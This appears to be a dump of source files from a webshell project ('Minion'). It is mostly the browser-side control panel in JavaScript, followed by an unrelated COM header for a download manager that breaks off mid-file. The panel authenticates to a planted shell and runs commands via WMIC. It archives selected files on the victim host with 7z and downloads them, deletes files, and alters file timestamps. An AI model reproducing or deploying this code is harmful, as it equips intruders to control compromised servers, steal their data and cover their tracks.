eraseCookie(varNames.password);\r\n    eraseCookie(varNames.url);\r\n    urlBox.className = \"\";\r\n    if (spyCheckTimerHandler)\r\n        clearTimeout(spyCheckTimerHandler);\r\n    $(\"#mdlspy\").removeClass(\"green\");\r\n    $(\"#mdlspy\").removeClass(\"red\");\r\n    $(\"#mdlspy\").removeClass(\"blue\");\r\n    $(\"#mdlspy\").children('.icon').eq(0).attr(\"class\", \"large Empty Heart icon\");\r\n    $('.mdlItem').each(function () {\r\n        $(this).removeClass(\"active\");\r\n        $(this).removeClass(\"loading\");\r\n    });\r\n    document.getElementById(varNames.lblLocation).innerText = \"\";\r\n    login(sender);\r\n}\r\n\r\nvar afterUpload;\r\nfunction login(sender)\r\n{\r\n    var urlBox = document.getElementById(varNames.url);\r\n    if (urlBox.value.isEmpty())\r\n    {\r\n        urlBox.value = readCookie(varNames.url);\r\n    }\r\n    var UrlP = urlBox.value.split(\";\");\r\n    var url = UrlP[0];\r\n    var p = UrlP[1];\r\n    urlBox.value = url;\r\n    if (p)\r\n    {\r\n        eraseCookie(varNames.password);\r\n        createCookie(varNames.password, p, 144);\r\n    }\r\n    else\r\n        p = readCookie(varNames.password);\r\n\r\n    eraseCookie(varNames.url);\r\n    createCookie(varNames.url, url, 144);\r\n\r\n    var data = [\r\n        { name: varNames.method, value: methodID.authAjax },\r\n        { name: varNames.url, value: url }\r\n    ];\r\n\r\n    if (spyCheckTimerHandler)\r\n        clearTimeout(spyCheckTimerHandler);\r\n    requestTextResult(data, sender, false, function (res) {\r\n        if (res.startsWith(\"Error\"))\r\n            print(res);\r\n        else {\r\n            var data = JSON.parse(res);\r\n            if (data.auth.toLowerCase() == \"true\") {\r\n\r\n                readCookie(varNames.url);\r\n                document.getElementsByName(\"adminU\")[0].value = readCookie(varNames.cookieNameUsername);\r\n                document.getElementsByName(\"adminP\")[0].value = readCookie(varNames.cookieNamePassword);\r\n\r\n                urlBox.className = \"login\";\r\n                //print(\"Login successful\\r\\n\");\r\n\r\n                document.getElementById(varNames.lblLocation).innerText = b64DecodeUnicode(data.loc);\r\n                $(\"#mdlspy\").click();\r\n                spyCheckTimer();\r\n\r\n                //checkModulesFN(b64DecodeUnicode(data.module));\r\n                checkModules(document.getElementById('chkModules'));\r\n\r\n                DownloadLoad();\r\n                TardigradeOnLoad();\r\n\r\n                if (afterUpload)\r\n                    afterUpload();\r\n                else\r\n                    setAddress(document.getElementById('btnExpror'), \"\\\\\\\\localhost\");\r\n\r\n                breadcrumber(url);\r\n\r\n            } else {\r\n                urlBox.className = \"logout\";\r\n                //print(\"Login failed\\r\\n\");\r\n            }\r\n        }\r\n    });\r\n}\r\n\r\nfunction requestTextResult(data, sender, isPrint, callback, dataIsBinary, isAppendPrint)\r\n{\r\n    var loadingClassName = \"loadingM\";\r\n    var loadingElement = null;\r\n    if (sender != null) {\r\n        loadingElement = $(sender);\r\n        if ($(sender).prop(\"tagName\") == \"INPUT\") {\r\n            loadingClassName = \"loading\";\r\n            loadingElement = loadingElement.parent();\r\n        }\r\n    }\r\n\r\n    if (sender == null || !loadingElement.hasClass(loadingClassName)) {\r\n        //for (var i = 0; i < data.length; i++) {\r\n        //    createCookie(data[i].name, data[i].value, 144);\r\n        //}\r\n\r\n        var ldr = null;\r\n        //if (sender)\r\n        //    ldr = loader(sender);\r\n        //sender.className = sender.className + \" loadingM\";\r\n        if (sender != null)\r\n            loadingElement.addClass(loadingClassName);\r\n        var info = {\r\n            data: data,\r\n            onSuccess: function (res, xhr) {\r\n                //if(ldr)\r\n                //    ldr.remove();\r\n\r\n                var data = res;\r\n                if (isPrint)\r\n                    print(data, isAppendPrint);\r\n                if (callback)\r\n                    callback(res, xhr);\r\n                //sender.className = sender.className.replace(\" loadingM\", \"\");\r\n                if (sender != null)\r\n                    loadingElement.removeClass(loadingClassName);\r\n            },\r\n            dataIsBinary: dataIsBinary\r\n        };\r\n\r\n        sendData(info);\r\n    }\r\n    else\r\n        console.log(\"sender are in loading state\");\r\n}\r\n\r\nfunction cmd7za(sender, callback)\r\n{\r\n    if ($(\"#mdl7z\").hasClass(\"active\")) {\r\n\r\n        var files = \"\";\r\n        $(\".selectitem.checked\").each(function (index) {\r\n            files += \"\\\"\" + getCurrentAddress() + \"\\\\\" + $(this).siblings(\".objRight\").eq(1).text() + \"\\\" \";\r\n        });\r\n\r\n        var cmd7z = String.format('{0} {1} a \"{2}\" {3}{4}{5} 2>&1',\r\n            moduleFolder + ModuleFileNameTarget.mdl7z,\r\n            $(\"#7zclevel\").val(),\r\n            $(\"#7zaddress\").val(),\r\n            files,\r\n            ($(\"#7zvsize\").val() == \"\" ? \"\" : \"-v\" + $(\"#7zvsize\").val() + $(\"#7zvmode\").val()),\r\n            $(\"#7zexclude\").val()\r\n        );\r\n\r\n        ExecuteCommandWmic(null,\r\n            cmd7z.replace(/\"/g, '\\\\\"').replace(/>/g, '^>'),\r\n            function (res) {\r\n                if (callback)\r\n                    callback(res);\r\n            });\r\n\r\n        //var data = [\r\n        //    { name: varNames.method, value: methodID.cmd7z },\r\n        //    { name: \"7zclevel\", value: $(\"#7zclevel\").val() },\r\n        //    { name: \"7zaddress\", value: $(\"#7zaddress\").val() },\r\n        //    { name: \"7zvsize\", value: $(\"#7zvsize\").val() },\r\n        //    { name: \"7zvmode\", value: $(\"#7zvmode\").val() },\r\n        //    { name: \"7zexclude\", value: $(\"#7zexclude\").val() },\r\n        //    { name: \"7zfiles\", value: files }\r\n        //];\r\n\r\n        //requestTextResult(data, sender, true,\r\n        //    function (res) {\r\n        //        if (callback)\r\n        //            callback(res);\r\n        //        else\r\n        //            document.getElementById('btnExpror').click();\r\n        //    });\r\n    }\r\n    else\r\n        print(\"7z module is not installed\");\r\n}\r\n\r\nfunction cmd7zdl(sender)\r\n{\r\n    $(sender).addClass(\"loadingM\");\r\n\r\n    var fName7z = getCurrentAddress().replace(\"\\\\\\\\\", \"\").replace(/\\\\/g, \"_\").replace(/:/g, \"_\");\r\n    var files = $(\".selectitem.checked\");\r\n    if (files.length == 1)\r\n        fName7z += \"_\" + files.eq(0).siblings(\".objRight\").eq(1).text();\r\n    else\r\n        fName7z += \"_[\" + files.length + \"]\";\r\n\r\n\r\n    var dt = new Date();\r\n    var FileName7z = fName7z + \"_\" +\r\n        dt.getFullYear() + \"-\" +\r\n        (dt.getMonth() + 1) + \"-\" +\r\n        dt.getDate() + \"-\" +\r\n        dt.getHours() + \"-\" +\r\n        dt.getMinutes() + \"-\" +\r\n        dt.getSeconds() + \".7z\";\r\n    var filename = moduleFolder + FileName7z;\r\n    console.log(filename);\r\n    $(\"#7zaddress\").val(filename);\r\n    cmd7za(document.getElementById(\"cmd7z\"),\r\n    function (res) {\r\n        print(res);\r\n        $(sender).removeClass(\"loadingM\");\r\n        var cmdFilesList = \"dir /b \\\"\" + moduleFolder + \"\\\" 2>&1\";\r\n        ExecuteCommand(null, cmdFilesList, function (res) {\r\n            if (!res.startsWith(\"Error\")) {\r\n                var filesTemp = res.split('\\r\\n');\r\n                var ZipedFiles = [];\r\n                for (var l = 0; l < filesTemp.length; l++) {\r\n                    if (filesTemp[l].startsWith(FileName7z))\r\n                        ZipedFiles.push(filesTemp[l]);\r\n                }\r\n                var tempFileList = ZipedFiles.slice();\r\n                print(\"7z files : \" + tempFileList);\r\n                cmddlListDownload(moduleFolder, tempFileList, function () {\r\n                    print(\"Download (\" + ZipedFiles.length + ') files is Completed');\r\n                }, true);\r\n            } else {\r\n                print(res);\r\n            }\r\n        });\r\n        //downloadManager(filename, sender, true, true, true );\r\n    });\r\n    //$(\"#7zaddress\").val(\"\");\r\n}\r\n\r\nfunction cmddl(sender)\r\n{\r\n    $(sender).addClass(\"loadingM\");\r\n    var currentAddress = getCurrentAddress() + \"\\\\\";\r\n    var list = [];\r\n    $(\".selectitem.checked\").each(function (index) {\r\n        list.push($(this).siblings(\".objRight\").eq(1).text());\r\n        //downloadManager(getCurrentAddress() + \"\\\\\" + $(this).siblings(\".objRight\").eq(1).text(), this, true, false, true );\r\n    });\r\n    cmddlListDownload(currentAddress, list);\r\n\r\n    $(sender).removeClass(\"loadingM\");\r\n}\r\n\r\nfunction cmddelete(sender) {\r\n    //var files = $(\".selectitem.checked\");\r\n    //if (confirm(\"Are you sure you want to delete this '\" + files.length + \"' files?\") == true) {\r\n    //    var filesstr = \"\";\r\n    //    var currentAddress = getCurrentAddress();\r\n    //    files.each(function (index) {\r\n    //        if (!filesstr.isEmpty())\r\n    //            filesstr += \"|\";\r\n    //        filesstr += b64EncodeUnicode(currentAddress + \"\\\\\" + $(this).siblings(\".objRight\").eq(1).text());\r\n    //    });\r\n    //    requestTextResult([\r\n    //        { name: varNames.method, value: methodID.multiDelete },\r\n    //        { name: \"delete\", value: filesstr },\r\n    //    ], sender, true, function (res) {\r\n    //        $('#btnExpror').click();\r\n    //    });\r\n    //}\r\n\r\n    var files = $(\".selectitem.checked\");\r\n    $('#messageDeleteMultiFile').find('[name=\"message\"]').eq(0).text(files.length);\r\n    $('#messageDeleteMultiFile')\r\n        .modal({\r\n            transition: 'horizontal flip',\r\n            onDeny: function () {\r\n            },\r\n            onApprove: function () {\r\n                var filesstr = \"\";\r\n                var currentAddress = getCurrentAddress();\r\n                files.each(function (index) {\r\n                    if (!filesstr.isEmpty())\r\n                        filesstr += \"|\";\r\n                    filesstr += b64EncodeUnicode(currentAddress + \"\\\\\" + $(this).siblings(\".objRight\").eq(1).text());\r\n                });\r\n                requestTextResult([\r\n                    { name: varNames.method, value: methodID.multiDelete },\r\n                    { name: \"delete\", value: filesstr },\r\n                ], sender, true, function (res) {\r\n                    $('#btnExpror').click();\r\n                });\r\n            }\r\n        })\r\n        .modal('show');\r\n}\r\n\r\nfunction changeTime(sender)\r\n{\r\n    var data = [\r\n        { name: varNames.method, value: methodID.changeTime },\r\n        { name: varNames.changeTimeHidden, value: getElementValueByName(varNames.changeTimeHidden) },\r\n        { name: varNames.changeTimeFile, value: getElementValueByName(varNames.changeTimeFile) },\r\n        { name: varNames.changeTimeTarget, value: getElementValueByName(varNames.changeTimeTarget) },\r\n        { name: varNames.changeTimeTime, value: getElementValueByName(varNames.changeTimeTime) }\r\n    ];\r\n    requestTextResult(data, sender, true);\r\n}\r\n\r\n//function download(sender)\r\n//{\r\n//    var url = document.getElementById(varNames.url).value;\r\n//    sender.form.action = url;\r\n//    var password = readCookie(varNames.password);\r\n//    document.getElementById(\"donPass\").value = b64EncodeUnicode(password);\r\n//    var don = document.getElementById(\"donInput\");\r\n//    don.value = b64EncodeUnicode(don.value);\r\n//    var method = document.getElementById(\"donMethod\").value = b64EncodeUnicode(methodID.download);\r\n//    sender.form.submit();\r\n//    return false;\r\n//}\r\n//function download2(sender)\r\n//{\r\n//    var data = [\r\n//        { name: varNames.method, value: methodID.download },\r\n//        { name: varNames.download, value: getElementValue(varNames.download) }\r\n//    ];\r\n\r\n//    requestTextResult(data, sender, false,\r\n//        function (res, xhr)\r\n//        {\r\n//            if (res.status === 200) {\r\n//                var filename = \"\";\r\n//                var disposition = xhr.getResponseHeader('Content-Disposition');\r\n//                if (disposition && disposition.indexOf('attachment') !== -1) {\r\n//                    var filenameRegex = /filename[^;=\\n]*=((['\"]).*?\\2|[^;\\n]*)/;\r\n//                    var matches = filenameRegex.exec(disposition);\r\n//                    if (matches != null && matches[1]) filename = matches[1].replace(/['\"]/g, '');\r\n//                }\r\n//                var type = xhr.getResponseHeader('Content-Type');\r\n\r\n//                var blob = typeof File === 'function'\r\n//                    ? new File([res.response], filename, { type: type })\r\n//                    : new Blob([res.response], { type: type });\r\n//                if (typeof window.navigator.msSaveBlob !== 'undefined') {\r\n//                    // IE workaround for \"HTML7007: One or more blob URLs were revoked by closing the blob for which they were created. These URLs will no longer resolve as the data backing the URL has been freed.\"\r\n//                    window.navigator.msSaveBlob(blob, filename);\r\n//                } else {\r\n//                    var URL = window.URL || window.webkitURL;\r\n//                    var downloadUrl = URL.createObjectURL(blob);\r\n\r\n//                    if (filename) {\r\n//                        // use HTML5 a[download] attribute to specify filename\r\n//                        var a = document.createElement(\"a\");\r\n//                        // safari doesn't support this yet\r\n//                        if (typeof a.download === 'undefined') {\r\n//                            window.location = downloadUrl;\r\n//                        } else {\r\n//                            a.href = downloadUrl;\r\n//                            a.download = filename;\r\n//                            document.body.appendChild(a);\r\n//                            a.click();\r\n//                        }\r\n//                    } else {\r\n//                        window.location = downloadUrl;\r\n//                    }\r\n\r\n//                    setTimeout(function () { URL.revokeObjectURL(downloadUrl); }, 100); // cleanup\r\n//                }\r\n//            }\r\n//        },\r\n//        true);\r\n//}\r\n\r\nfunction getLocation(callback) {\r\n    var data = [\r\n        { name: varNames.method, value: methodID.getlocationAjax }\r\n    ];\r\n    requestTextResult(data, document.getElementById(\"loc\"), false, function (res) {\r\n        document.getElementById(varNames.lblLocation).innerText = res;\r\n        callback();\r\n    });\r\n}\r\n\r\nfunction loadForm()\r\n{\r\n    var url = readCookie(varNames.url);\r\n    var password = readCookie(varNames.password);\r\n    setElementValue(varNames.url, url);\r\n    if (url && password)\r\n    {\r\n        setElementValue(varNames.password, password);\r\n        login(document.getElementById(varNames.btnLogin));\r\n    }\r\n\r\n    setElementValue(varNames.command, readCookie(varNames.command));\r\n\r\n}\r\n\r\nfunction grabEnter(event, sender)\r\n{\r\n    var key = event.keyCode | event.which;\r\n    if (key == 13 && event.shiftKey)\r\n    {\r\n        //sender.form.submit();\r\n        //$(sender.form).find('input[type=\"submit\"]').click();\r\n        sender.form.submit();\r\n        $(sender).parent().next().click();\r\n        return false;\r\n    }\r\n    else if (key == 13)\r\n    {\r\n        if (sender.name == \"cmd\")\r\n            command(sender);\r\n        else {\r\n            //$(sender).parent().next().click();\r\n            $(sender).next().click();\r\n            return false;\r\n        }\r\n        return false;\r\n    }\r\n    return true;\r\n}\r\n\r\nfunction sidebarOpen(id)\r\n{\r\n    $('#' + id)\r\n    .sidebar({\r\n        transition: 'overlay',\r\n        dimPage: false,\r\n        closable: false\r\n    })\r\n        .sidebar(\"toggle\");\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/HighShellLocal/js/send.js",
    "content": "﻿var SendDataMethod = \"POST\";\r\nvar SendDataLocation = location.pathname;\r\nfunction sendData(info) {\r\n    var url = getElementValue(varNames.url);\r\n    var p = readCookie(varNames.password);\r\n\r\n    if (url.isEmpty() || p.isEmpty())\r\n    {\r\n        info.onSuccess(\"Error : url or password is empty\");\r\n        return false;\r\n    }\r\n\r\n    var data = \"\";\r\n    //if (info.isLocal) {\r\n        //data = varNames.password + \"=\" + p;\r\n        //for (var i = 0; i < info.data.length; i++) {\r\n        //    data += \"&\" + info.data[i].name + \"=\" + info.data[i].value;\r\n        //}\r\n    //} else {\r\n        data = varNames.password + \"=\" + encodeURIComponent(btoa(p));\r\n        data += \"&isajax=1\";\r\n        for (var i = 0; i < info.data.length; i++) {\r\n            data += \"&\" + info.data[i].name + \"=\" + encodeURIComponent(b64EncodeUnicode(info.data[i].value));\r\n        }\r\n    //}\r\n\r\n    var xh = new XMLHttpRequest();\r\n    xh.onreadystatechange = function () {\r\n        \r\n        if (this.readyState == 4)\r\n            if (this.status == 200) {\r\n                console.log({\"data\": data, \"info\": info, \"response\": this});\r\n                if (info.dataIsBinary)\r\n                    info.onSuccess(this, xh);\r\n                else\r\n                    info.onSuccess(b64DecodeUnicode(this.responseText));\r\n            } else {\r\n                info.onSuccess(\"ErrorResponse : status=\" + this.status);\r\n            }\r\n    };\r\n\r\n    xh.open(SendDataMethod, SendDataLocation, true);\r\n    xh.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n    xh.send(data);\r\n}\r\n\r\nfunction SendDataInfo(data, sender, methodName, methodNumber, isPrint, isAppendPrint, callback) {\r\n\r\n    var url = getElementValue(varNames.url);\r\n    var p = readCookie(varNames.password);\r\n    if (url.isEmpty() || p.isEmpty()) {\r\n        info.onSuccess(\"Error : url or password is empty\");\r\n        return false;\r\n    }\r\n    var adminU = document.getElementsByName(\"adminU\")[0].value;\r\n    var adminP = document.getElementsByName(\"adminP\")[0].value;\r\n\r\n    var loadingClassName = \"loadingM\";\r\n    var loadingElement = null;\r\n    if (sender != null) {\r\n        loadingElement = $(sender);\r\n        if ($(sender).prop(\"tagName\") == \"INPUT\") {\r\n            loadingClassName = \"loading\";\r\n            loadingElement = loadingElement.parent();\r\n        }\r\n    }\r\n\r\n    if (sender == null || !loadingElement.hasClass(loadingClassName)) {\r\n\r\n        var ldr = null;\r\n        if (sender != null)\r\n            loadingElement.addClass(loadingClassName);\r\n        var info = {\r\n            MethodName: methodName,\r\n            Input: {\r\n                Url: b64EncodeUnicode(url),\r\n                Password: b64EncodeUnicode(p),\r\n                AdminUsername: b64EncodeUnicode(adminU),\r\n                AdminPassword: b64EncodeUnicode(adminP),\r\n                MethodNumber: methodNumber,\r\n                MethodInput: data\r\n            },\r\n            onSuccess: function (res) {\r\n\r\n                if (isPrint && res.JustPrint)\r\n                    print(res.JustPrint, isAppendPrint);\r\n                if (callback)\r\n                    callback(res);\r\n                if (sender != null)\r\n                    loadingElement.removeClass(loadingClassName);\r\n            }\r\n        };\r\n\r\n        SendDataAjax(info);\r\n    }\r\n    else\r\n        console.log(\"sender are in loading state\");\r\n}\r\n\r\nfunction SendDataAjax(info) {\r\n    $.ajax({\r\n        type: 'POST',\r\n        url: window.location + '/' + info.MethodName,\r\n        contentType: 'application/json; charset=utf-8',\r\n        dataType: 'text',\r\n        data: JSON.stringify({ input: info.Input }),\r\n        success: function (result, status, xhr) {\r\n            var response = JSON.parse(b64DecodeUnicode(result));\r\n            console.log(response);\r\n            info.onSuccess(response);\r\n        },\r\n        error: function (xhr, status, error) {\r\n            console.log('xhr :');\r\n            console.log(xhr);\r\n            console.log('status :');\r\n            console.log(status);\r\n            console.log('error :');\r\n            console.log(error);\r\n            info.onSuccess({ Error: \"ErrorResponse : status = \" + error });\r\n        }\r\n    });\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/HighShellLocal/js/utility.js",
    "content": "﻿function b64DecodeUnicode(str) {\r\n    return decodeURIComponent(Array.prototype.map.call(atob(str), function (c) {\r\n        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)\r\n    }).join(''))\r\n}\r\n\r\nfunction b64EncodeUnicode(str) {\r\n    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function (match, p1) {\r\n        return String.fromCharCode(parseInt(p1, 16))\r\n    }))\r\n}\r\n\r\nString.prototype.isEmpty = function () {\r\n    return (this.length === 0 || !this.trim());\r\n}\r\n\r\nif (!String.format) {\r\n    String.format = function (format) {\r\n        var args = Array.prototype.slice.call(arguments, 1);\r\n        return format.replace(/{(\\d+)}/g, function (match, number) {\r\n            return typeof args[number] != 'undefined'\r\n                ? args[number]\r\n                : match\r\n                ;\r\n        });\r\n    };\r\n}\r\n\r\nfunction getElementValue(name) {\r\n    return document.getElementById(name).value;\r\n}\r\nfunction getElementValueByName(name) {\r\n    return document.getElementsByName(name)[0].value;\r\n}\r\n\r\nfunction setElementValue(name, value) {\r\n    document.getElementById(name).value = value;\r\n}\r\n\r\nfunction createCookie(name, value, hours) {\r\n    var expires = \"\";\r\n    if (hours) {\r\n        var date = new Date();\r\n        date.setTime(date.getTime + (hours * 60 * 60 * 1000));\r\n        expire = \";expires=\" + date.toUTCString();\r\n    }\r\n    document.cookie = name + \"=\" + b64EncodeUnicode(value) + expires + \";path=/\";\r\n}\r\n\r\nfunction readCookie(name) {\r\n    var nameEQ = name + \"=\";\r\n    var ca = document.cookie.split(';');\r\n    for (var i = 0; i < ca.length; i++) {\r\n        var c = ca[i];\r\n        while (c.charAt(0) == ' ') c = c.substring(1, c.length);\r\n        if (c.indexOf(nameEQ) == 0)\r\n            return atob(c.substring(nameEQ.length, c.length));\r\n    }\r\n    return null;\r\n}\r\n\r\nfunction eraseCookie(name) {\r\n    document.cookie = name + \"=\" + b64EncodeUnicode(\"-\") + \";expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/\";\r\n}\r\n\r\nfunction copyToClipboard(element) {\r\n    var $temp = $(\"<input>\");\r\n    $(\"body\").append($temp);\r\n    $temp.val($(element).text()).select();\r\n    document.execCommand(\"copy\");\r\n    $temp.remove();\r\n}\r\n\r\nfunction getFileName(path) {\r\n    return path.replace(/^.*[\\\\\\/]/, '');\r\n}\r\n\r\nfunction htmlEncode(value) {\r\n    //create a in-memory div, set it's inner text(which jQuery automatically encodes)\r\n    //then grab the encoded contents back out.  The div never exists on the page.\r\n    return $('<div/>').text(value).html();\r\n}\r\n\r\nfunction htmlDecode(value) {\r\n    return $('<div/>').html(value).text();\r\n}\r\n\r\nfunction getDateTimeNow() {\r\n    var dt = new Date();\r\n    return dt.getFullYear() + \"-\" + (dt.getMonth() + 1) + \"-\" + dt.getDate() + \" \" + dt.getHours() + \":\" + dt.getMinutes() + \":\" + dt.getSeconds();\r\n}\r\nfunction getDateTimeNowForFileName() {\r\n    var dt = new Date();\r\n    return dt.getFullYear() + \"-\" + (dt.getMonth() + 1) + \"-\" + dt.getDate() + \"-\" + dt.getHours() + \"-\" + dt.getMinutes() + \"-\" + dt.getSeconds();\r\n}\r\n\r\nfunction useRegex(regex, str) {\r\n    return regex.exec(str);\r\n}\r\n\r\nfunction ConvertTextSizeToNumber(strSize) {\r\n    var result = 0;\r\n    if (strSize.endsWith(\"KB\"))\r\n        result = Number(strSize.substring(0, strSize.length - 3)) * 1024;\r\n    else if (strSize.endsWith(\"MB\"))\r\n        result = Number(strSize.substring(0, strSize.length - 3)) * 1024 * 1024;\r\n    else if (strSize.endsWith(\"GB\"))\r\n        result = Number(strSize.substring(0, strSize.length - 3)) * 1024 * 1024 * 1024;\r\n    else if (strSize.endsWith(\"TB\"))\r\n        result = Number(strSize.substring(0, strSize.length - 3)) * 1024 * 1024 * 1024 * 1024;\r\n    else if (strSize.endsWith(\"B\"))\r\n        result = Number(strSize.substring(0, strSize.length - 2));\r\n    return result;\r\n}\r\n\r\nfunction ConvertNumberToTextSize(size) {\r\n    var result = size;\r\n    if (result < 1024) return result + \" B\";\r\n    result = result / 1024;\r\n    if (result < 1024) return result + \" KB\";\r\n    result = result / 1024;\r\n    if (result < 1024) return result + \" MB\";\r\n    result = result / 1024;\r\n    if (result < 1024) return result + \" GB\";\r\n    result = result / 1024;\r\n    return result + \" TB\";\r\n\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/Idea/IDMCOMAPI/IDManTypeInfo.h",
    "content": "/* this ALWAYS GENERATED file contains the definitions for the interfaces */\r\n\r\n\r\n/* File created by MIDL compiler version 5.01.0164 */\r\n/* at Mon Oct 13 07:34:24 2003\r\n */\r\n/* Compiler settings for C:\\users\\sansan\\testVersion\\Downloader\\IDManTypeInfo.idl:\r\n    Os (OptLev=s), W1, Zp8, env=Win32, ms_ext, c_ext\r\n    error checks: allocation ref bounds_check enum stub_data \r\n*/\r\n//@@MIDL_FILE_HEADING(  )\r\n\r\n\r\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\r\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\r\n#define __REQUIRED_RPCNDR_H_VERSION__ 440\r\n#endif\r\n\r\n#include \"rpc.h\"\r\n#include \"rpcndr.h\"\r\n\r\n#ifndef __RPCNDR_H_VERSION__\r\n#error this stub requires an updated version of <rpcndr.h>\r\n#endif // __RPCNDR_H_VERSION__\r\n\r\n#ifndef COM_NO_WINDOWS_H\r\n#include \"windows.h\"\r\n#include \"ole2.h\"\r\n#endif /*COM_NO_WINDOWS_H*/\r\n\r\n#ifndef __IDManTypeInfo_h__\r\n#define __IDManTypeInfo_h__\r\n\r\n#ifdef __cplusplus\r\nextern \"C\"{\r\n#endif \r\n\r\n/* Forward Declarations */ \r\n\r\n#ifndef __ICIDMLinkTransmitter_FWD_DEFINED__\r\n#define __ICIDMLinkTransmitter_FWD_DEFINED__\r\ntypedef interface ICIDMLinkTransmitter ICIDMLinkTransmitter;\r\n#endif \t/* __ICIDMLinkTransmitter_FWD_DEFINED__ */\r\n\r\n\r\n#ifndef __ICIDMLinkTransmitter2_FWD_DEFINED__\r\n#define __ICIDMLinkTransmitter2_FWD_DEFINED__\r\ntypedef interface ICIDMLinkTransmitter2 ICIDMLinkTransmitter2;\r\n#endif \t/* __ICIDMLinkTransmitter2_FWD_DEFINED__ */\r\n\r\n\r\n#ifndef __CIDMLinkTransmitter_FWD_DEFINED__\r\n#define __CIDMLinkTransmitter_FWD_DEFINED__\r\n\r\n#ifdef __cplusplus\r\ntypedef class CIDMLinkTransmitter CIDMLinkTransmitter;\r\n#else\r\ntypedef struct CIDMLinkTransmitter CIDMLinkTransmitter;\r\n#endif /* __cplusplus */\r\n\r\n#endif \t/* __CIDMLinkTransmitter_FWD_DEFINED__ */\r\n\r\n\r\n/* header files for imported files */\r\n#include \"oaidl.h\"\r\n\r\nvoid __RPC_FAR * __RPC_USER MIDL_user_allocate(size_t);\r\nvoid __RPC_USER MIDL_user_free( void __RPC_FAR * ); \r\n\r\n#ifndef __ICIDMLinkTransmitter_INTERFACE_DEFINED__\r\n#define __ICIDMLinkTransmitter_INTERFACE_DEFINED__\r\n\r\n/* interface ICIDMLinkTransmitter */\r\n/* [unique][helpstring][oleautomation][uuid][object] */ \r\n\r\n\r\nEXTERN_C const IID IID_ICIDMLinkTransmitter;\r\n\r\n#if defined(__cplusplus) && !defined(CINTERFACE)\r\n    \r\n    MIDL_INTERFACE(\"4BD46AAE-C51F-4BF7-8BC0-2E86E33D1873\")\r\n    ICIDMLinkTransmitter : public IUnknown\r\n    {\r\n    public:\r\n        virtual HRESULT STDMETHODCALLTYPE SendLinkToIDM( \r\n            /* [in] */ BSTR bstrUrl,\r\n            /* [in] */ BSTR bstrReferer,\r\n            /* [in] */ BSTR bstrCookies,\r\n            /* [in] */ BSTR bstrData,\r\n            /* [in] */ BSTR bstrUser,\r\n            /* [in] */ BSTR bstrPassword,\r\n            /* [in] */ BSTR bstrLocalPath,\r\n            /* [in] */ BSTR bstrLocalFileName,\r\n            /* [in] */ long lFlags) = 0;\r\n        \r\n    };\r\n    \r\n#else \t/* C style interface */\r\n\r\n    typedef struct ICIDMLinkTransmitterVtbl\r\n    {\r\n        BEGIN_INTERFACE\r\n        \r\n        HRESULT ( STDMETHODCALLTYPE __RPC_FAR *QueryInterface )( \r\n            ICIDMLinkTransmitter __RPC_FAR * This,\r\n            /* [in] */ REFIID riid,\r\n            /* [iid_is][out] */ void __RPC_FAR *__RPC_FAR *ppvObject);\r\n        \r\n        ULONG ( STDMETHODCALLTYPE __RPC_FAR *AddRef )( \r\n            ICIDMLinkTransmitter __RPC_FAR * This);\r\n        \r\n        ULONG ( STDMETHODCALLTYPE __RPC_FAR *Release )( \r\n            ICIDMLinkTransmitter __RPC_FAR * This);\r\n        \r\n        HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinkToIDM )( \r\n            ICIDMLinkTransmitter __RPC_FAR * This,\r\n            /* [in] */ BSTR bstrUrl,\r\n            /* [in] */ BSTR bstrReferer,\r\n            /* [in] */ BSTR bstrCookies,\r\n            /* [in] */ BSTR bstrData,\r\n            /* [in] */ BSTR bstrUser,\r\n            /* [in] */ BSTR bstrPassword,\r\n            /* [in] */ BSTR bstrLocalPath,\r\n            /* [in] */ BSTR bstrLocalFileName,\r\n            /* [in] */ long lFlags);\r\n        \r\n        END_INTERFACE\r\n    } ICIDMLinkTransmitterVtbl;\r\n\r\n    interface ICIDMLinkTransmitter\r\n    {\r\n        CONST_VTBL struct ICIDMLinkTransmitterVtbl __RPC_FAR *lpVtbl;\r\n    };\r\n\r\n    \r\n\r\n#ifdef COBJMACROS\r\n\r\n\r\n#define ICIDMLinkTransmitter_QueryInterface(This,riid,ppvObject)\t\\\r\n    (This)->lpVtbl -> QueryInterface(This,riid,ppvObject)\r\n\r\n#define ICIDMLinkTransmitter_AddRef(This)\t\\\r\n    (This)->lpVtbl -> AddRef(This)\r\n\r\n#define ICIDMLinkTransmitter_Release(This)\t\\\r\n    (This)->lpVtbl -> Release(This)\r\n\r\n\r\n#define ICIDMLinkTransmitter_SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags)\t\\\r\n    (This)->lpVtbl -> SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags)\r\n\r\n#endif /* COBJMACROS */\r\n\r\n\r\n#endif \t/* C style interface */\r\n\r\n\r\n\r\nHRESULT STDMETHODCALLTYPE ICIDMLinkTransmitter_SendLinkToIDM_Proxy( \r\n    ICIDMLinkTransmitter __RPC_FAR * This,\r\n    /* [in] */ BSTR bstrUrl,\r\n    /* [in] */ BSTR bstrReferer,\r\n    /* [in] */ BSTR bstrCookies,\r\n    /* [in] */ BSTR bstrData,\r\n    /* [in] */ BSTR bstrUser,\r\n    /* [in] */ BSTR bstrPassword,\r\n    /* [in] */ BSTR bstrLocalPath,\r\n    /* [in] */ BSTR bstrLocalFileName,\r\n    /* [in] */ long lFlags);\r\n\r\n\r\nvoid __RPC_STUB ICIDMLinkTransmitter_SendLinkToIDM_Stub(\r\n    IRpcStubBuffer *This,\r\n    IRpcChannelBuffer *_pRpcChannelBuffer,\r\n    PRPC_MESSAGE _pRpcMessage,\r\n    DWORD *_pdwStubPhase);\r\n\r\n\r\n\r\n#endif \t/* __ICIDMLinkTransmitter_INTERFACE_DEFINED__ */\r\n\r\n\r\n#ifndef 